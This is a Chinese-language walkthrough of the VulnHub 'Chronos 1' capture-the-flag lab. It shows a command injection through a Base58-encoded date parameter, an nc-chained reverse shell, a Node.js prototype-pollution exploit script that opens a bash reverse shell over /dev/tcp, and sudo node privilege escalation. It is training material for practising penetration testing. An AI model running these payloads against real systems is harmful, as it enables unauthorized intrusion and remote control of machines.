靶机下载地址在Vlunhub
https://www.vulnhub.com/entry/chronos-1,735/
目标
取得两个flag和root权限
涉及的攻击方法
- 端口扫描
- Web侦查
- 命令注入
- 数据编解码
- 搜索大法
- 框架漏洞利用
- 代码审计
- NC串联
- 本地提权
靶机和Kali都设置了桥接模式,并和网卡设置在同一网段
主机发现
可以用netdiscover或者arp-scan,多尝试几种方法总是好的
端口发现和服务发现
访问一下80端口的Web服务,发现写着Date&Time,可能是提示和时间有关
Ctrl+U查看源代码,发现一串URL
发现Format参数里的东西很像Base编码,使用Cyberchef的Magic模块解码
再观察前面的chronos.local,local是本地的意思,我们需要进行域名解析
那么修改我们Kali 的hosts文件,
然后刷新一下Web页面,看看是否解析成功并能访问到服务器的资源
看起来是和前面的date一起执行命令,那么我们利用命令注入漏洞来反弹shell,直接使用hackbar来发包,但是需要将User-Agent改成Chronos,否则会显示Permission Denied
但是我电脑有问题,我还是用BurpSuite吧
成功执行命令
那么我们直接用NC串联来反弹shell,因为它的NC版本比较低,没有-e参数
;nc 192.168.0.120 4444 | /bin/bash | nc 192.168.0.120 5555
Base58编码,传给BurpSuite发包,虽然提示Something went wrong,但是不影响成功反弹shell
执行 id 命令成功
接下来进行信息收集
没有办法了,接下来使用搜索大法,还有快速学习的能力
参考博客链接:
- https://www.freebuf.com/vuls/245658.html
- https://blog.p6.is/Real-World-JS-1/
- https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/#google_vignette
利用作者给的POC的Python脚本,获得一个新的shell
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')
现在Kali本机编辑一下exp.py,然后开启HTTP服务,等一下上传到靶机上,再执行脚本
用wget下载,然后用python3执行,因为exp脚本使用python3写的,看None, f"x;console.log(1);process
中的 f
就能发现是python3
运行python脚本
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.120/6666 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
sudo 提权
发现 npm 和 node 可以不需要密码来用root执行,我们可以尝试通过它们来获取root的shell
提权方法网址:https://gtfobins.github.io/gtfobins/node/
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
成功获得root权限!
还有两个flag
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
彩蛋
总结
- 按照惯例先进行了主机发现,端口扫描,应用发现
- 在Web界面发现奇怪的域名,于是进行了域名的绑定,查看到页面当中的变化,于是通过页面源码的分析找出了这段JavaScript的脚本,从中发现了经过Base58编码的字符
- 通过对这段字符的还原内容的分析,发现了命令注入的漏洞,进而通过Base58编码我们的注入命令对目标系统进行了一系列的命令注入的漏洞,进而利用这样的命令执行漏洞
- 进而通过NC获得了一个反弹的shell,用NC串联的方式,结合管道来实现的
- 提权的过程中遇到很多困难,最终发现了Node js当中的框架的漏洞,感谢开源社区
- 通过代码审计发现了目标系统用了哪些模块,代码审计是很重要的一环
- 彩蛋:很高兴见到你